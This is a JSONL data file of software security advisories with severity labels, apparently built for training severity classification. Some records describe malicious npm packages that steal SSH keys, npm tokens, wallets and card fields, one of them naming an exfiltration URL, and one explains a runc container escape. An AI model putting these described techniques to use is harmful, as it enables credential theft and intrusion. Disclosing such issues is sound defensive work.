-{"id": "cc801ee324633e26b2b1", "text": "Malicious Package in riped160\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in riped160\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "27bcbc22cb4f67d75bef", "text": "## Validator parsing discrepancy due to string encoding\n\n### Impact\nA specially crafted Bitcoin script can cause a discrepancy between the specified SLP consensus rules and the validation result of the slpjs npm package. An attacker could create a specially crafted Bitcoin script in order to cause a hard-fork from the SLP consensus.\n\n### Patches\nAll versions > 0.21.3 are patched.\n\n### Workarounds\nUpgrade to any version >= 0.21.4.\n\n### References\nThe bug was located and fixed [here](https://github.com/simpleledger/slpjs/commit/ac8809b42e47790a6f0205991b36f2699ed10c84#diff-fe58606994c412ba56a65141a7aa4a62L701).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [slpjs repo](https://github.com/simpleledger/slpjs/issues)\n* Email us at [info@slp.cash](mailto:info@slp.cash)", "text_raw": "Critical severity vulnerability that affects slpjs\n\n[Severity: CRITICAL]\n\n## Validator parsing discrepancy due to string encoding\n\n### Impact\nA specially crafted Bitcoin script can cause a discrepancy between the specified SLP consensus rules and the validation result of the slpjs npm package. An attacker could create a specially crafted Bitcoin script in order to cause a hard-fork from the SLP consensus.\n\n### Patches\nAll versions > 0.21.3 are patched.\n\n### Workarounds\nUpgrade to any version >= 0.21.4.\n\n### References\nThe bug was located and fixed [here](https://github.com/simpleledger/slpjs/commit/ac8809b42e47790a6f0205991b36f2699ed10c84#diff-fe58606994c412ba56a65141a7aa4a62L701).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [slpjs repo](https://github.com/simpleledger/slpjs/issues)\n* Email us at [info@slp.cash](mailto:info@slp.cash)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-15", "split": "train"}
-{"id": "cb9b8c046d72e321d9c3", "text": "Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit", "text_raw": "Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "b03ba244423e68d8a2a9", "text": "Arbitrary File Write in bin-links\n\nVersions of `bin-links` prior to 1.1.5 are vulnerable to an Arbitrary File Write. The package fails to restrict access to folders outside of the intended `node_modules` folder through the `bin` field. This allows attackers to create arbitrary files in the system. Note it is not possible to overwrite files that already exist.\n\n## Recommendation\n\nUpgrade to version 1.1.5 or later.", "text_raw": "Arbitrary File Write in bin-links\n\n[Severity: LOW]\n\nVersions of `bin-links` prior to 1.1.5 are vulnerable to an Arbitrary File Write. The package fails to restrict access to folders outside of the intended `node_modules` folder through the `bin` field. This allows attackers to create arbitrary files in the system. Note it is not possible to overwrite files that already exist.\n\n\n## Recommendation\n\nUpgrade to version 1.1.5 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4c55cf3e7052baca7a8f", "text": "Wowza Streaming Engine 4.5.0 Cleartext Storage Of Sensitive Information", "text_raw": "Wowza Streaming Engine 4.5.0 Cleartext Storage Of Sensitive Information\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-07-19", "split": "train"}
-{"id": "9778ca330296bff2c33d", "text": "XML External Entity (XXE) vulnerability in bw-calendar-engine\n\nbw-calendar-engine version <= bw-calendar-engine-3.12.0 contains a XML External Entity (XXE) vulnerability in IscheduleClient XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Man in the Middle or malicious server.", "text_raw": "XML External Entity (XXE) vulnerability in bw-calendar-engine\n\n[Severity: CRITICAL]\n\nbw-calendar-engine version <= bw-calendar-engine-3.12.0 contains a XML External Entity (XXE) vulnerability in IscheduleClient XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Man in the Middle or malicious server.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "d22fc223853192208fd6", "text": "Malicious Package in boogeyman\n\nAll versions of `boogeyman` are considered malicious. This particular package would download a payload from pastebin.com, eval it to read ssh keys and the users `.npmrc` and send them to a private pastebin account.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate your ssh keys and your npm token.", "text_raw": "Malicious Package in boogeyman\n\n[Severity: CRITICAL]\n\nAll versions of `boogeyman` are considered malicious. This particular package would download a payload from pastebin.com, eval it to read ssh keys and the users `.npmrc` and send them to a private pastebin account.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate your ssh keys and your npm token.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "7ce08e01a114b1e663b8", "text": "Cross-site scripting in Apache Archiva\n\nIn Apache Archiva before 2.2.4, it is possible to write files to the archiva server at arbitrary locations by using the artifact upload mechanism. Existing files can be overwritten, if the archiva run user has appropriate permission on the filesystem for the target file.", "text_raw": "Cross-site scripting in Apache Archiva\n\n[Severity: MEDIUM]\n\nIn Apache Archiva before 2.2.4, it is possible to write files to the archiva server at arbitrary locations by using the artifact upload mechanism. Existing files can be overwritten, if the archiva run user has appropriate permission on the filesystem for the target file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "f189d8c37cec1b051f16", "text": "Segfault in Tensorflow\n\n### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Thus, the [following code](https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L265\n) sets up conditions to cause a heap buffer overflow:\n```cc\n    auto per_batch_counts = BatchedMap<W>(num_batches);\n    int batch_idx = 0;\n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits_values(batch_idx)) {\n        batch_idx++;\n      }\n      const auto& value = values_values(idx);\n      if (value >= 0 && (maxlength_ <= 0 || value < maxlength_)) {\n        per_batch_counts[batch_idx - 1][value] = 1;\n      }\n    }\n```\n\nA `BatchedMap` is equivalent to a vector where each element is a hashmap. However, if the first element of `splits_values` is not 0, `batch_idx` will never be 1, hence there will be no hashmap at index 0 in `per_batch_counts`. Trying to access that in the user code results in a segmentation fault.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "text_raw": "Segfault in Tensorflow\n\n[Severity: HIGH]\n\n### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Thus, the [following code](https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L265\n) sets up conditions to cause a heap buffer overflow:\n```cc\n    auto per_batch_counts = BatchedMap<W>(num_batches);\n    int batch_idx = 0;\n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits_values(batch_idx)) {\n        batch_idx++;\n      }\n      const auto& value = values_values(idx);\n      if (value >= 0 && (maxlength_ <= 0 || value < maxlength_)) {\n        per_batch_counts[batch_idx - 1][value] = 1;\n      }\n    }\n```\n\nA `BatchedMap` is equivalent to a vector where each element is a hashmap. However, if the first element of `splits_values` is not 0, `batch_idx` will never be 1, hence there will be no hashmap at index 0 in `per_batch_counts`. Trying to access that in the user code results in a segmentation fault.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "62636bb233b5fe6d4ef5", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "849860c6e33d62b8808e", "text": "Code execution in Spring Integration\n\nSpring Integration framework provides Kryo Codec implementations as an alternative for Java (de)serialization. When Kryo is configured with default options, all unregistered classes are resolved on demand. This leads to the \"deserialization gadgets\" exploit when provided data contains malicious code for execution during deserialization. In order to protect against this type of attack, Kryo can be configured to require a set of trusted classes for (de)serialization. Spring Integration should be proactive against blocking unknown \"deserialization gadgets\" when configuring Kryo in code.", "text_raw": "Code execution in Spring Integration\n\n[Severity: CRITICAL]\n\nSpring Integration framework provides Kryo Codec implementations as an alternative for Java (de)serialization. When Kryo is configured with default options, all unregistered classes are resolved on demand. This leads to the \"deserialization gadgets\" exploit when provided data contains malicious code for execution during deserialization. In order to protect against this type of attack, Kryo can be configured to require a set of trusted classes for (de)serialization. Spring Integration should be proactive against blocking unknown \"deserialization gadgets\" when configuring Kryo in code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "d7ffc6536c776d90a82a", "text": "Exposure of class information in RESTEasy\n\nA flaw was found in RESTEasy in all current versions of RESTEasy up to 4.6.0.Final. The endpoint class and method names are returned as part of the exception response when RESTEasy cannot convert one of the request URI path or query values to the matching JAX-RS resource method's parameter value. The highest threat from this vulnerability is to data confidentiality.", "text_raw": "Exposure of class information in RESTEasy\n\n[Severity: MEDIUM]\n\nA flaw was found in RESTEasy in all current versions of RESTEasy up to 4.6.0.Final. The endpoint class and method names are returned as part of the exception response when RESTEasy cannot convert one of the request URI path or query values to the matching JAX-RS resource method's parameter value. The highest threat from this vulnerability is to data confidentiality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "cf1adecf5b5541e59608", "text": "ReQuest Serious Play F3 Media Server 7.0.3 Debug Log Disclosure", "text_raw": "ReQuest Serious Play F3 Media Server 7.0.3 Debug Log Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-10-18", "split": "train"}
-{"id": "721784281b9a7a2fc1ed", "text": "Out-of-Memory Error in Bouncy Castle Crypto\n\nThe ASN.1 parser in Bouncy Castle Crypto (aka BC Java) 1.63 can trigger a large attempted memory allocation, and resultant OutOfMemoryError error, via crafted ASN.1 data. This is fixed in 1.64.", "text_raw": "Out-of-Memory Error in Bouncy Castle Crypto\n\n[Severity: HIGH]\n\nThe ASN.1 parser in Bouncy Castle Crypto (aka BC Java) 1.63 can trigger a large attempted memory allocation, and resultant OutOfMemoryError error, via crafted ASN.1 data. This is fixed in 1.64.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-17", "split": "train"}
-{"id": "1b1fae6bd246d89acdfe", "text": "mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs\n\n### Summary\n\nrunc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby\nan attacker can request a seemingly-innocuous container configuration that\nactually results in the host filesystem being bind-mounted into the container\n(allowing for a container escape). CVE-2021-30465 has been assigned for this\nissue.\n\nAn attacker must have the ability to start containers using some kind of custom\nvolume configuration, and while recommended container hardening mechanisms such\nas LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of\ndamage an attacker could do, they do not block this attack outright. We have a\nreproducer using Kubernetes (and the below description mentions\nKubernetes-specific paths), but this is not a Kubernetes-specific issue.\n\nThe now-released [runc v1.0.0-rc95][release] contains a fix for this issue, we\nrecommend users update as soon as possible.\n\n[release]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n### Details\n\nIn circumstances where a container is being started, and runc is mounting\ninside a volume shared with another container (which is conducting a\nsymlink-exchange attack), runc can be tricked into mounting outside of the\ncontainer rootfs by swapping the target of a mount with a symlink due to a\ntime-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to\nprevious TOCTTOU attacks (and is a problem we are working on solving with\nlibpathrs).\n\nHowever, this alone is not useful because this happens inside a mount namespace\nwith `MS_SLAVE` propagation applied to `/` (meaning that the mount doesn't\nappear on the host -- it's only a \"host-side mount\" inside the container's\nnamespace). To exploit this, you must have additional mount entries in the\nconfiguration that use some subpath of the mounted-over host path as a source\nfor a subsequent mount.\n\nHowever, it turns out with some container orchestrators (such as Kubernetes --\nthough it is very likely that other downstream users of runc could have similar\nbehaviour be accessible to untrusted users), the existence of additional volume\nmanagement infrastructure allows this attack to be applied to gain access to\nthe host filesystem without requiring the attacker to have completely arbitrary\ncontrol over container configuration.\n\nIn the case of Kubernetes, this is exploitable by creating a symlink in a\nvolume to the top-level (well-known) directory where volumes are sourced from\n(for instance,\n`/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir`), and then\nusing that symlink as the target of a mount. The source of the mount is an\nattacker controlled directory, and thus the source directory from which\nsubsequent mounts will occur is an attacker-controlled directory. Thus the\nattacker can first place a symlink to `/` in their malicious source directory\nwith the name of a volume, and a subsequent mount in the container will\nbind-mount `/` into the container.\n\nApplying this attack requires the attacker to start containers with a slightly\npeculiar volume configuration (though not explicitly malicious-looking such as\nbind-mounting `/` into the container explicitly), and be able to run malicious\ncode in a container that shares volumes with said volume configuration. It\nhelps the attacker if the host paths used for volume management are well known,\nthough this is not a hard requirement.\n\n### Patches\nThis has been patched in runc 1.0.0-rc95, and users should upgrade as soon as\npossible. The patch itself can be found [here](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f).\n\n### Workarounds\n\nThere are no known workarounds for this issue.\n\nHowever, users who enforce running containers with more confined security\nprofiles (such as reduced capabilities, not running code as root in the\ncontainer, user namespaces, AppArmor/SELinux, and seccomp) will restrict what\nan attacker can do in the case of a container breakout -- we recommend users\nmake use of strict security", "text_raw": "mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs\n\n[Severity: HIGH]\n\n### Summary\n\nrunc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby\nan attacker can request a seemingly-innocuous container configuration that\nactually results in the host filesystem being bind-mounted into the container\n(allowing for a container escape). CVE-2021-30465 has been assigned for this\nissue.\n\nAn attacker must have the ability to start containers using some kind of custom\nvolume configuration, and while recommended container hardening mechanisms such\nas LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of\ndamage an attacker could do, they do not block this attack outright. We have a\nreproducer using Kubernetes (and the below description mentions\nKubernetes-specific paths), but this is not a Kubernetes-specific issue.\n\nThe now-released [runc v1.0.0-rc95][release] contains a fix for this issue, we\nrecommend users update as soon as possible.\n\n[release]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n### Details\n\nIn circumstances where a container is being started, and runc is mounting\ninside a volume shared with another container (which is conducting a\nsymlink-exchange attack), runc can be tricked into mounting outside of the\ncontainer rootfs by swapping the target of a mount with a symlink due to a\ntime-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to\nprevious TOCTTOU attacks (and is a problem we are working on solving with\nlibpathrs).\n\nHowever, this alone is not useful because this happens inside a mount namespace\nwith `MS_SLAVE` propagation applied to `/` (meaning that the mount doesn't\nappear on the host -- it's only a \"host-side mount\" inside the container's\nnamespace). To exploit this, you must have additional mount entries in the\nconfiguration that use some subpath of the mounted-over host path as a source\nfor a subsequent mount.\n\nHowever, it turns out with some container orchestrators (such as Kubernetes --\nthough it is very likely that other downstream users of runc could have similar\nbehaviour be accessible to untrusted users), the existence of additional volume\nmanagement infrastructure allows this attack to be applied to gain access to\nthe host filesystem without requiring the attacker to have completely arbitrary\ncontrol over container configuration.\n\nIn the case of Kubernetes, this is exploitable by creating a symlink in a\nvolume to the top-level (well-known) directory where volumes are sourced from\n(for instance,\n`/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir`), and then\nusing that symlink as the target of a mount. The source of the mount is an\nattacker controlled directory, and thus the source directory from which\nsubsequent mounts will occur is an attacker-controlled directory. Thus the\nattacker can first place a symlink to `/` in their malicious source directory\nwith the name of a volume, and a subsequent mount in the container will\nbind-mount `/` into the container.\n\nApplying this attack requires the attacker to start containers with a slightly\npeculiar volume configuration (though not explicitly malicious-looking such as\nbind-mounting `/` into the container explicitly), and be able to run malicious\ncode in a container that shares volumes with said volume configuration. It\nhelps the attacker if the host paths used for volume management are well known,\nthough this is not a hard requirement.\n\n### Patches\nThis has been patched in runc 1.0.0-rc95, and users should upgrade as soon as\npossible. The patch itself can be found [here](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f).\n\n### Workarounds\n\nThere are no known workarounds for this issue.\n\nHowever, users who enforce running containers with more confined security\nprofiles (such as reduced capabilities, not running code as root in the\ncontainer, user namespaces, AppArmor/SELinux, and seccomp) will restrict what\nan attacker can do in the case of a container breakout -- we recommend users\nmake use ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "f6f41b060f3c040a6866", "text": "OS Command Injection in craftercms:crafter-studio\n\nA Server-Side Template Injection issue was discovered in Crafter CMS 3.0.18. Attackers with developer privileges may execute OS commands by Creating/Editing a template file (.ftl filetype) that triggers a call to freemarker.template.utility.Execute in the FreeMarker library during rendering of a web page.", "text_raw": "OS Command Injection in craftercms:crafter-studio\n\n[Severity: HIGH]\n\nA Server-Side Template Injection issue was discovered in Crafter CMS 3.0.18. Attackers with developer privileges may execute OS commands by Creating/Editing a template file (.ftl filetype) that triggers a call to freemarker.template.utility.Execute in the FreeMarker library during rendering of a web page.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "1e45cc6d52b560fcd2eb", "text": "ZeewaysCMS Multiple Vulnerabilities", "text_raw": "ZeewaysCMS Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-05-06", "split": "train"}
-{"id": "527e91341d76ac9e26ab", "text": "Malicious Package in coffee-project\n\nVersion 1.7.5 of `coffee-project` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.7.5 of this module is found installed you will want to replace it with a version before or after 1.7.5. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.7.4", "text_raw": "Malicious Package in coffee-project\n\n[Severity: CRITICAL]\n\nVersion 1.7.5 of `coffee-project` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.7.5 of this module is found installed you will want to replace it with a version before or after 1.7.5. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.7.4", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b79a28babe74086a89c7", "text": "Ory fosite contains Improper Handling of Exceptional Conditions\n\n### Impact\nThe `TokenRevocationHandler` ignores errors coming from the storage. This can lead to unexpected 200 status codes indicating successful revocation while the token is still valid. Whether an attacker can use this for her advantage depends on the ability to trigger errors in the store.\n\n### References\n[RFC 7009](https://tools.ietf.org/html/rfc7009#section-2.2.1) states that a 503 HTTP code must be returned when the server has a problem.", "text_raw": "Ory fosite contains Improper Handling of Exceptional Conditions \n\n[Severity: HIGH]\n\n### Impact\nThe `TokenRevocationHandler` ignores errors coming from the storage. This can lead to unexpected 200 status codes indicating successful revocation while the token is still valid. Whether an attacker can use this for her advantage depends on the ability to trigger errors in the store.\n\n### References\n[RFC 7009](https://tools.ietf.org/html/rfc7009#section-2.2.1) states that a 503 HTTP code must be returned when the server has a problem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "c5003312166987512d28", "text": "Open Redirect in Next.js versions\n\n### Impact\n\n- **Affected**: Users of Next.js between 9.5.0 and 9.5.3 \n- **Not affected**: Deployments on Vercel ([https://vercel.com](https://vercel.com)) are not affected\n- **Not affected**: Deployments using `next export`\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n### References\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4", "text_raw": "Open Redirect in Next.js versions\n\n[Severity: MEDIUM]\n\n### Impact\n\n- **Affected**: Users of Next.js between 9.5.0 and 9.5.3 \n- **Not affected**: Deployments on Vercel ([https://vercel.com](https://vercel.com)) are not affected\n- **Not affected**: Deployments using `next export`\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n### References\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-08", "split": "train"}
-{"id": "93397ad56b54ad0b3b6f", "text": "keycloak-core vulnerable to timing attacks against JWS token verification\n\nRed Hat Keycloak before version 2.5.1 has an implementation of HMAC verification for JWS tokens that uses a method that runs in non-constant time, potentially leaving the application vulnerable to timing attacks.", "text_raw": "keycloak-core vulnerable to timing attacks against JWS token verification\n\n[Severity: MEDIUM]\n\nRed Hat Keycloak before version 2.5.1 has an implementation of HMAC verification for JWS tokens that uses a method that runs in non-constant time, potentially leaving the application vulnerable to timing attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "4d103e4101629c8a8082", "text": "Prototype Pollution in mixin-deep\n\nVersions of `mixin-deep` before 1.3.1 are vulnerable to prototype pollution via merging functions.\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "text_raw": "Prototype Pollution in mixin-deep\n\n[Severity: HIGH]\n\nVersions of `mixin-deep` before 1.3.1 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "f060f1e3863452ac7ac9", "text": "Remote Code Execution in office-converter\n\nAll versions of `office-converter` are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Remote Code Execution in office-converter\n\n[Severity: HIGH]\n\nAll versions of `office-converter` are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "31ed23f3fb2a29bde43d", "text": "Data races in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via an Auxdata API data race.", "text_raw": "Data races in rusqlite\n\n[Severity: HIGH]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via an Auxdata API data race.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "cb944ee16e8970492ede", "text": "FPE in TFLite division operations\n\n### Impact\nThe implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc)\n\nThere is no check that the divisor tensor does not contain zero elements.\n\n### Patches\nWe have patched the issue in GitHub commit [1e206baedf8bef0334cca3eb92bab134ef525a28](https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "FPE in TFLite division operations\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of division in TFLite is [vulnerable to a division by 0 error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/div.cc)\n\nThere is no check that the divisor tensor does not contain zero elements.\n\n### Patches\nWe have patched the issue in GitHub commit [1e206baedf8bef0334cca3eb92bab134ef525a28](https://github.com/tensorflow/tensorflow/commit/1e206baedf8bef0334cca3eb92bab134ef525a28).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9aa9c5768a9e747f9836", "text": "Double free in alpm-rs\n\nAn issue was discovered in the alpm-rs crate through 2020-08-20 for Rust. StrcCtx performs improper memory deallocation.", "text_raw": "Double free in alpm-rs\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the alpm-rs crate through 2020-08-20 for Rust. StrcCtx performs improper memory deallocation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8037a27f912d35f29dbb", "text": "Error on unsupported architectures in raw-cpuid\n\nnative_cpuid::cpuid_count() exposes the unsafe __cpuid_count() intrinsic from core::arch::x86 or core::arch::x86_64 as a safe function, and uses it internally, without checking the safety requirement:\n\n* The CPU the program is currently running on supports the function being called.\n\nCPUID is available in most, but not all, x86/x86_64 environments. The crate compiles only on these architectures, so others are unaffected. This issue is mitigated by the fact that affected programs are expected to crash deterministically every time.\n\nThe flaw has been fixed in v9.0.0, by intentionally breaking compilation when targeting SGX or 32-bit x86 without SSE. This covers all affected CPUs.", "text_raw": "Error on unsupported architectures in raw-cpuid\n\n[Severity: MEDIUM]\n\nnative_cpuid::cpuid_count() exposes the unsafe __cpuid_count() intrinsic from core::arch::x86 or core::arch::x86_64 as a safe function, and uses it internally, without checking the safety requirement:\n\n* The CPU the program is currently running on supports the function being called.\n\nCPUID is available in most, but not all, x86/x86_64 environments. The crate compiles only on these architectures, so others are unaffected. This issue is mitigated by the fact that affected programs are expected to crash deterministically every time.\n\nThe flaw has been fixed in v9.0.0, by intentionally breaking compilation when targeting SGX or 32-bit x86 without SSE. This covers all affected CPUs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
